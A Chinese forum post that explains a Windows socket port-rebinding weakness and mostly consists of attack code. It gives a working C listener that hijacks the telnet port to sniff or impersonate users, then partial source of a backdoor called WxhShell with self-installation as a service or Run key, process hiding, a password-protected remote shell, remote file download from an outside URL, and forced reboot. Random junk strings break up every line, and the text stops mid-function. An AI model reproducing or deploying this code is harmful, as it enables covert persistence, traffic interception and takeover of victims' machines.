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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S%jFH4#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t)4] 2z)$  
i'[! 'HY  
  saddr.sin_family = AF_INET; :jFZz%   
Gyb|{G_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y-mjfW`n  
+QeA*L$~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %+ytX]E  
)C0d*T0i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J>1%* Tz  
O"J"H2}S  
  这意味着什么?意味着可以进行如下的攻击: ^ LVKXr  
Bv#?.0Ez;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  huvn_  
rTim1<IXR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H{1'- wB  
HF*j=qt!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n _kE  
' 1X^@]+6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ] U,m 1  
@?bY,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =ba1::18  
Jv?EV,S/e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .TNGiUzG  
?nZe.z-%6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WG +]  
~bz$]o-<  
  #include 9K-,#a  
  #include RV%)~S@!R  
  #include sW76RKX8  
  #include    4<Kxo\\S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M9?f`9  
  int main() F:8@ ]tA&  
  { ;9' ] na  
  WORD wVersionRequested; d=dHY(ms]  
  DWORD ret;  2.'hr/.  
  WSADATA wsaData; S }qGf%  
  BOOL val; Vz evOS  
  SOCKADDR_IN saddr; (,b\"Q  
  SOCKADDR_IN scaddr; 9U Hh#  
  int err; >96+s)T%;  
  SOCKET s; p$cb&NNh*H  
  SOCKET sc; H'Jz:6   
  int caddsize; c-U]3`;Q  
  HANDLE mt; (S2E'L L{  
  DWORD tid;   yw{r:fy  
  wVersionRequested = MAKEWORD( 2, 2 ); S3&n?\CO:  
  err = WSAStartup( wVersionRequested, &wsaData ); Y$s4 *)%  
  if ( err != 0 ) { N_d{E/  
  printf("error!WSAStartup failed!\n"); XW~a4If  
  return -1; ?} lqu7S  
  } L nyow}  
  saddr.sin_family = AF_INET; Pk=0pHH8q  
   -Ua&/Yd/}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z/d {v:)  
^ 4*#QtO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JF=T_SH^U  
  saddr.sin_port = htons(23); z<gII~%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TeFi[1  
  { 4gZ)9ya   
  printf("error!socket failed!\n"); \["I.gQ  
  return -1; Wl }J=  
  } 4'Y a-x x  
  val = TRUE; Dw$RHogb~y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F<Xtp8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `26.+>Z7  
  { M*D@zb0ia  
  printf("error!setsockopt failed!\n"); UhJ!7Ws$  
  return -1; _7~q|  
  } x=kJl GT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z m]R76  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X"7x_ yOZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @!^Y_q  
$k`j";8uR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5 ed|]LP  
  { Uyxn+j 5  
  ret=GetLastError(); ZrB(!L~7  
  printf("error!bind failed!\n"); -)xl?IB%  
  return -1; (p] S  
  } m#4h5_N  
  listen(s,2); 2*a9mi  
  while(1) ./^8L(  
  { 8dC RSU  
  caddsize = sizeof(scaddr); NE4]i  
  //接受连接请求 >XX93  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q(A_k+NL  
  if(sc!=INVALID_SOCKET) HZ1nuA  
  { q$"?P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .`(YCn?\  
  if(mt==NULL) .1z=VLKF'  
  { .zTkOk L  
  printf("Thread Creat Failed!\n"); pl$wy}W-  
  break; $wDSED -  
  } ?bg /%o  
  } zKp R:F  
  CloseHandle(mt); F{rC{5@fj  
  } *9aI\#}  
  closesocket(s); <$d2m6J  
  WSACleanup(); v=Q!ioE7  
  return 0; 2p4iir  
  }   -*O L+  
  DWORD WINAPI ClientThread(LPVOID lpParam) <PM.4B@  
  { oTx>oM,  
  SOCKET ss = (SOCKET)lpParam; J _q  
  SOCKET sc; wQ[!~>A  
  unsigned char buf[4096]; y]+[o1]-c  
  SOCKADDR_IN saddr; fRq+pUx U  
  long num; 0A-yQzL|  
  DWORD val; 1_l)$"  
  DWORD ret; 2 /*z5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H!Dj.]T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'Gamb+[  
  saddr.sin_family = AF_INET; Q2:r WE{K!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #{#k;va  
  saddr.sin_port = htons(23); d_ x jW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MZxU)QW1  
  { -yb7s2o  
  printf("error!socket failed!\n"); At !:d3  
  return -1; Db;>MWt+e  
  } '-Oh$hqCx|  
  val = 100; U#Iwe=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ov daK"q2  
  { a .?AniB0  
  ret = GetLastError(); _+H $Pa}?  
  return -1; RLzqpE<rJ  
  } ?P4y$P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V?mk*CU  
  { 4mtO"'|  
  ret = GetLastError(); \(;u[  
  return -1; D,|TQ Q  
  } #2$wI^O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s,kY12<7m  
  { p=#/H ,2  
  printf("error!socket connect failed!\n"); E9Dy)f]#W  
  closesocket(sc); gm =C0Sp?  
  closesocket(ss); wy{ sS}  
  return -1; ;PnN$g]Q  
  } R3.w")6  
  while(1) ]6s/y  
  { :SWrx MT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /-t!)_zvw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N U+PG`Vb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y>#kT  
  num = recv(ss,buf,4096,0); \I^"^'CP  
  if(num>0) y7+n*|H  
  send(sc,buf,num,0); SuNc&e#(  
  else if(num==0) 33wVP}e5  
  break; uXvE>VpJG  
  num = recv(sc,buf,4096,0); G N=8;Kq%  
  if(num>0) R y(<6u0  
  send(ss,buf,num,0); B&<5VjZ\  
  else if(num==0) MgN;[4|[h  
  break; >[wB|V5  
  } ,?IXfJ`c  
  closesocket(ss); G2 V$8lh  
  closesocket(sc); p#-=mXE/2  
  return 0 ; Cbl>eKw  
  } ~D`R"vzw=  
uFhPNR2l  
bj0<A  
========================================================== Ciz,1IV  
ShvC4Xb 0  
下边附上一个代码,,WXhSHELL (FZ8T39  
?<Hgq8J  
========================================================== b$_qG6)IJO  
p@O,-&/D  
#include "stdafx.h" |1/8m/2Af.  
3Zs0W{OxU  
#include <stdio.h> qJO6m-  
#include <string.h> cKOXsdH?SL  
#include <windows.h> +JY8"a97>  
#include <winsock2.h> JUXBMYFus  
#include <winsvc.h> Evqy e;  
#include <urlmon.h> L; A#N9  
cxvO,8NiB  
#pragma comment (lib, "Ws2_32.lib") ="f-I9y  
#pragma comment (lib, "urlmon.lib") [;4ak)!  
I9rQX9#B  
#define MAX_USER   100 // 最大客户端连接数 O8N1gf;t  
#define BUF_SOCK   200 // sock buffer +ZGH  
#define KEY_BUFF   255 // 输入 buffer k6GQH@y!  
(n_.bSI  
#define REBOOT     0   // 重启 Ov4 [gHy&  
#define SHUTDOWN   1   // 关机 4>fj @X(3  
5|t-CY{?b  
#define DEF_PORT   5000 // 监听端口 Raetz>rL  
d{) =E8wE  
#define REG_LEN     16   // 注册表键长度 T+rym8.p  
#define SVC_LEN     80   // NT服务名长度 wV{j CQ  
|u$*'EsP  
// 从dll定义API w)1SZ }  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zlTLp-^Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SB5qm?pT8<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b"`fS`@/MW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7}~nQl2  
.x/H2r'1  
// wxhshell配置信息 GukwN]*OY  
struct WSCFG { VkJTcC:1  
  int ws_port;         // 监听端口 xaV3N[Zd  
  char ws_passstr[REG_LEN]; // 口令 +l!.<:sp  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,zH\P+*  
  char ws_regname[REG_LEN]; // 注册表键名  xB?!nd  
  char ws_svcname[REG_LEN]; // 服务名 s?nj@:4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3UZ_1nY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4`cfFowK~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CDW| cr{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bNtOqhi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PJe \PGh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6W7,EIf  
:0Y.${h  
}; #)#'^MZX  
 2t  
// default Wxhshell configuration HM"(cB(n`  
struct WSCFG wscfg={DEF_PORT, RU=g|TL  
    "xuhuanlingzhe", ^YfAsBs&  
    1, xlgT1b:6  
    "Wxhshell", */TO $ ^s  
    "Wxhshell", Ae2Y\sAV  
            "WxhShell Service", <S;YNHLC  
    "Wrsky Windows CmdShell Service", XRyeEwA;pp  
    "Please Input Your Password: ", m9jjKu]|  
  1, ;i+(Q%LO  
  "http://www.wrsky.com/wxhshell.exe", *laFG <;  
  "Wxhshell.exe" 3O2vY1Y2  
    }; QV*la=j/  
KVViTpZ  
// 消息定义模块 ^{++h?cS)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e(`r"RrQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U~c9PqjZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R iV]SgV 9  
char *msg_ws_ext="\n\rExit."; F^TOLwix  
char *msg_ws_end="\n\rQuit."; G4#Yz6O  
char *msg_ws_boot="\n\rReboot..."; /^&$ma\  
char *msg_ws_poff="\n\rShutdown..."; !VrBoU4<d  
char *msg_ws_down="\n\rSave to "; !}1l8Y  
y] Cx[  
char *msg_ws_err="\n\rErr!"; =FFs8&PKys  
char *msg_ws_ok="\n\rOK!"; I>-}ys`[  
*]kE3  
char ExeFile[MAX_PATH]; r.:f.AY{  
int nUser = 0; ,p\*cHB9  
HANDLE handles[MAX_USER]; ,pkzNe`F  
int OsIsNt; cmaha%3d  
qPhVc9D#  
SERVICE_STATUS       serviceStatus; AO5a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p{SIGpbR&  
Esg:  
// 函数声明 o5Knot)Oy  
int Install(void); [r'hX#  
int Uninstall(void); +s [_ 4  
int DownloadFile(char *sURL, SOCKET wsh); soKR*gJ,  
int Boot(int flag); m^)\P?M5|  
void HideProc(void); fKuaom9  
int GetOsVer(void); A?)(^  
int Wxhshell(SOCKET wsl); y%YP  
void TalkWithClient(void *cs); k<"N^+GSz  
int CmdShell(SOCKET sock); WFqOVI*l  
int StartFromService(void); aIWpgUd`  
int StartWxhshell(LPSTR lpCmdLine); : R8+jO   
&N %-.&t'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2fPMZ7Zd3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *\Hut'7 d  
~H]d9C  
// 数据结构和表定义 /`O'eH  
SERVICE_TABLE_ENTRY DispatchTable[] = j{zVVT  
{ 3|Ar~_]  
{wscfg.ws_svcname, NTServiceMain}, Ww{-(Ktx  
{NULL, NULL} x_H"<-By  
}; PKs$Q=Ol<|  
H"2,Q T  
// 自我安装 \}Pr!tk!  
int Install(void) $,T3vX]<  
{ E 6!V0D  
  char svExeFile[MAX_PATH]; m :]F &s  
  HKEY key; #P1 ;*m  
  strcpy(svExeFile,ExeFile); ^^)\| kW?  
]d&;QZ#w  
// 如果是win9x系统,修改注册表设为自启动 ZPY84)A_}  
if(!OsIsNt) { \z2d=E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <5sfII  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c;R .rV<  
  RegCloseKey(key); \<y#$:4r<8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P$G|o|h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xtp55"g  
  RegCloseKey(key); %E2C4UbY  
  return 0; .>( qZEF  
    } aII:Pzh]B  
  } NMP*q @  
} 0j{KZy  
else { a3(f\MM xE  
y? 65*lUl  
// 如果是NT以上系统,安装为系统服务 Y+~>9-S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]}A yDy6C  
if (schSCManager!=0) v8A{ q  
{ QOF'SEq"k  
  SC_HANDLE schService = CreateService 11yS2D   
  ( u+8?'ZT,  
  schSCManager, g|4v>5Y  
  wscfg.ws_svcname, Al]z =  
  wscfg.ws_svcdisp, .ZH5^Sv$vp  
  SERVICE_ALL_ACCESS, :.\h.H;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XpOQBXbt  
  SERVICE_AUTO_START, {*4Z9.2c*  
  SERVICE_ERROR_NORMAL, 1) G6  
  svExeFile, .s@[-! p  
  NULL, #.\X% !  
  NULL, N" oJ3-~  
  NULL, DzCb'#   
  NULL, ymyk.#Z<%  
  NULL !^A t{[U  
  ); ^kj%Ekt7  
  if (schService!=0) ,1e@Y~eZ  
  { >(a/K2$*1  
  CloseServiceHandle(schService); QgX[?2  
  CloseServiceHandle(schSCManager); = G3A}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BH=C  oD.  
  strcat(svExeFile,wscfg.ws_svcname); *r]#jY4qx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~wRozV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z7R+'OC  
  RegCloseKey(key); 4'# _b  
  return 0; tA{<)T  
    } x68s$H  
  } ~# |p=Y  
  CloseServiceHandle(schSCManager); (*YENT}  
} ZpY"P6  
} SYTzJK@vZJ  
>pA9'KWs]  
return 1; ]qc2jut"  
} b; 4;WtBO  
_qqJ>E<0  
// 自我卸载 \7,'o] >M-  
int Uninstall(void) v|mZcAz  
{ c}FZb$q#  
  HKEY key; Yt;.Z$i ,  
-n~VMLd?@  
if(!OsIsNt) { D<cHa |  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V]9 ?9-r  
  RegDeleteValue(key,wscfg.ws_regname); 3bPvL/\Lb  
  RegCloseKey(key); 'H,l\i@"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K<+h/Ok  
  RegDeleteValue(key,wscfg.ws_regname); nS1 D&;#Y  
  RegCloseKey(key); {%b-~& F9  
  return 0; NASRr  
  } JEes'H}Y  
} z '%Vy  
} ?5 d3k%  
else { 5ERycC y  
C zvi':  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WChJ <[]W  
if (schSCManager!=0) D*j\gI  
{ QRv2%^L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r yO\$m  
  if (schService!=0) 6y9#am?  
  { ToVm]zPOUt  
  if(DeleteService(schService)!=0) { %/&?t`%H  
  CloseServiceHandle(schService); &6 L{1  
  CloseServiceHandle(schSCManager); r 6STc,%5  
  return 0; <&rvv4*H  
  } f"5vpU^5*  
  CloseServiceHandle(schService); [nlW}1)46  
  } QY<2i-A  
  CloseServiceHandle(schSCManager); X^H)2G>e  
} Dl%NVi+n  
} Pw'3ya8  
m.p{+_@M&  
return 1; 8+ 1t ys  
} 6F3#Rxh  
6l>$N?a  
// 从指定url下载文件 y8un&LP  
int DownloadFile(char *sURL, SOCKET wsh) x*[\$E`v  
{ /wL}+  
  HRESULT hr; Vj"B#  
char seps[]= "/"; b#^UP  
char *token; F XOA1VEg  
char *file; ``}EbOMG  
char myURL[MAX_PATH]; 8:,l+[\  
char myFILE[MAX_PATH]; LEkO#F(  
:WT O*M  
strcpy(myURL,sURL); \qqt/  
  token=strtok(myURL,seps); Hay`lA2@  
  while(token!=NULL) ?t+Kp 9@aZ  
  { ,m:YZ;J(Xd  
    file=token; }CA oB::&  
  token=strtok(NULL,seps); Uok?FEN  
  } l M5Xw  
=?3D:k7z  
GetCurrentDirectory(MAX_PATH,myFILE); s7<x~v+^  
strcat(myFILE, "\\"); FHI` /  
strcat(myFILE, file); RI"A'/56  
  send(wsh,myFILE,strlen(myFILE),0); -lm\~VZT3  
send(wsh,"...",3,0); 0p_/eWww-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T'l >$6  
  if(hr==S_OK) {ls$#a+d  
return 0; gfs?H#  
else 'kK}9VKl  
return 1; Y`3>i,S6\  
0zaE?dA]  
} (<pc4#B@*  
=$IjN v(?  
// 系统电源模块 jyf[O -  
int Boot(int flag) Qd 1Q~PBla  
{ nqt;Ge M  
  HANDLE hToken; A\_cGM2  
  TOKEN_PRIVILEGES tkp; 2hl'mRW  
5~CHj  
  if(OsIsNt) { WLEjRx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a="Z]JGk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !~cTe!T  
    tkp.PrivilegeCount = 1; XFPWW,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DGTSk9iK(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1_!*R]aq  
if(flag==REBOOT) { :~pPB#)nk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zycu3%JI  
  return 0; SqTO~zGC  
} w3c[t~R8  
else { _U)DL=a'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) INsc!xOQ  
  return 0; e;56}w  
} h84}lxT^]  
  } ^Pf FW  
  else { [Zk|s9  
if(flag==REBOOT) { PWOV~ `^;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z1?7}9~`0c  
  return 0; 6';'pHqe  
} T+m`a #  
else { 9Nglt3J[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <1Vz QH!o  
  return 0; 1_THBL26d  
} %< JjftNQ  
} P7(+{d{  
`itaQGLD  
return 1; !q! =VC  
} ~fn2B  
P'GX-H  
// win9x进程隐藏模块  ;OQ{  
void HideProc(void) q-3%.<LL  
{ LZV  
xj iMM>|n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [>Kkj;*  
  if ( hKernel != NULL ) W~ XJ']e  
  { R}a,.C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sve~-aG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;=Jj{FoG%  
    FreeLibrary(hKernel); Slcf=  
  } DHJh.Y@H  
agN`) F!  
return; >sdj6^[+  
} {=j!2v#8~  
a0Cf.[L  
// 获取操作系统版本 .G#S*L  
int GetOsVer(void) 5@bLD P  
{ KD*,u{v;  
  OSVERSIONINFO winfo; !9DqW&8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ' D+h_*H  
  GetVersionEx(&winfo); d>eVR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .HF+JHIUu  
  return 1; f*7/O |Gp  
  else F_U3+J>  
  return 0; `UL #g![J  
} G*ZHLLO4S\  
J{Ei+@^/9  
// 客户端句柄模块 :bFmw dX  
int Wxhshell(SOCKET wsl) abUvU26t  
{ )V%xbDdS  
  SOCKET wsh; (Sr&Y1D  
  struct sockaddr_in client; +.&#whEw(i  
  DWORD myID; 8E"Ik ~  
&i4*tE3],  
  while(nUser<MAX_USER) Gvw4ot/  
{ ~mx me6"v  
  int nSize=sizeof(client); 7OG=LF*V-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aR ao\Wp|  
  if(wsh==INVALID_SOCKET) return 1; ]d}Z2I'  
_ro^<V$%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  8Br*  
if(handles[nUser]==0)  ;?1H&  
  closesocket(wsh); UP}Y s*  
else 2@@OjeANsX  
  nUser++; LX'.up11X5  
  } \B8tGog  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nV ko]y  
KlDW'R $  
  return 0; r4k =i4  
} X90VJb]  
)uiYu3 I  
// 关闭 socket Lnbbv  *  
void CloseIt(SOCKET wsh) |X k'd@<  
{ /Y:&307q  
closesocket(wsh); RrRrB"!8nR  
nUser--; mBSa*s)  
ExitThread(0); W# E`h  
} *P_(hG&c  
}20 Q`?  
// 客户端请求句柄 s3kHNDdC  
void TalkWithClient(void *cs) H%> E6rVB  
{ G1z[v3T  
$Mm=5 K%  
  SOCKET wsh=(SOCKET)cs; I3]-$  
  char pwd[SVC_LEN]; im|( 4 f  
  char cmd[KEY_BUFF]; #\[h.4i  
char chr[1]; a,tzt ]>  
int i,j; lfp[(Ph)9  
&[$qA  
  while (nUser < MAX_USER) { [ X]yj  
IL`X}=L_  
if(wscfg.ws_passstr) { G?CaCleG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :0x,%V74_!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A94ZG:   
  //ZeroMemory(pwd,KEY_BUFF); '=K [3%U  
      i=0; A!\ouKyayS  
  while(i<SVC_LEN) { Ppi/`X  
1Y4=D  
  // 设置超时 AM  cHR=/  
  fd_set FdRead; >UvLeS2h:y  
  struct timeval TimeOut; $$ouqLu  
  FD_ZERO(&FdRead); @^]wT_r  
  FD_SET(wsh,&FdRead); 9J h"1i>x2  
  TimeOut.tv_sec=8; jh0``{  
  TimeOut.tv_usec=0; l{ja2brX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6&_"dg"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PnkJ Wl<S  
<0T5W#H`D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4$.$j=Ct."  
  pwd=chr[0]; GTL gj'B  
  if(chr[0]==0xd || chr[0]==0xa) { "<ua G?:  
  pwd=0; iq2)oC_  
  break; '8\7(0$c  
  } $51M' Qu  
  i++; 6t/nM  
    } P1KXvc}JGe  
X-2rC  
  // 如果是非法用户,关闭 socket vaN}M)W/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u UXj  
} 3fPd|F.kF  
jN 9|q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "&;8U.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n "?It  
,(&jG^IpVJ  
while(1) {  uyBmGS2  
IlQNo 1  
  ZeroMemory(cmd,KEY_BUFF); ATx6YP@7~  
mOgsO  
      // 自动支持客户端 telnet标准   &AM<H}>  
  j=0; 7R9.g6j  
  while(j<KEY_BUFF) { vU,AOK[l{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kHLpa/A  
  cmd[j]=chr[0]; pa4,W!t  
  if(chr[0]==0xa || chr[0]==0xd) { ev~/Hf  
  cmd[j]=0; .,Q j3  
  break; x?s5vxAKf  
  } Mx? ]7tI  
  j++; /){F0Zjjt  
    } rHe*/nN%*  
X 'D~#r  
  // 下载文件 "9F]Wv/  
  if(strstr(cmd,"http://")) { &q~**^;'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }#0MJ6L  
  if(DownloadFile(cmd,wsh)) 4HX qRFUD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |]=. ^  
  else YdsY2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LF o{,%B  
  } 'lmZ{a6  
  else { { a2Y7\C/  
4cZig\mE;  
    switch(cmd[0]) { w1Ar[ P  
  fDe4 [QQ8  
  // 帮助 55lL aus  
  case '?': { p }p1>-j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hv" 'DP  
    break; [f`^+,U  
  } F:$Dz?F0v  
  // 安装 'zYKG5A  
  case 'i': { "V/|RC  
    if(Install()) j5hM |\]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mou@G3  
    else +Smt8O<N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q2^~^'Y k  
    break; YA(_*h  
    } e|Ip7`  
  // 卸载 \=n0@1Q=>  
  case 'r': { f1eY2UtWQ  
    if(Uninstall()) Z)iRc$;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s=)0y$  
    else do3 BI4Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [h"#Gwb=;  
    break; >Hh8K<@NL  
    } E>_?9~8Mf  
  // 显示 wxhshell 所在路径  }qf9ra  
  case 'p': { t<`h(RczHI  
    char svExeFile[MAX_PATH]; In1VW|4h  
    strcpy(svExeFile,"\n\r"); FN$ hEc!  
      strcat(svExeFile,ExeFile); 'vgO`  
        send(wsh,svExeFile,strlen(svExeFile),0); NF?FEUoxz  
    break; iQ[0d.(A  
    } 9C$#A+~C  
  // 重启 >;E[XG^  
  case 'b': { qg7] YT&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 79.J`}#  
    if(Boot(REBOOT)) 5f54E|vD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8mjP2  
    else { iU)-YFO  
    closesocket(wsh); e"jA#Y #  
    ExitThread(0);  84PD`A  
    } bYzBe\^3q3  
    break; {d|R67~V  
    } # Sm M5%  
  // 关机 ~cE;k@  
  case 'd': { 3J\NkaSR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^RN1?dXA  
    if(Boot(SHUTDOWN)) 6r"PtHr  
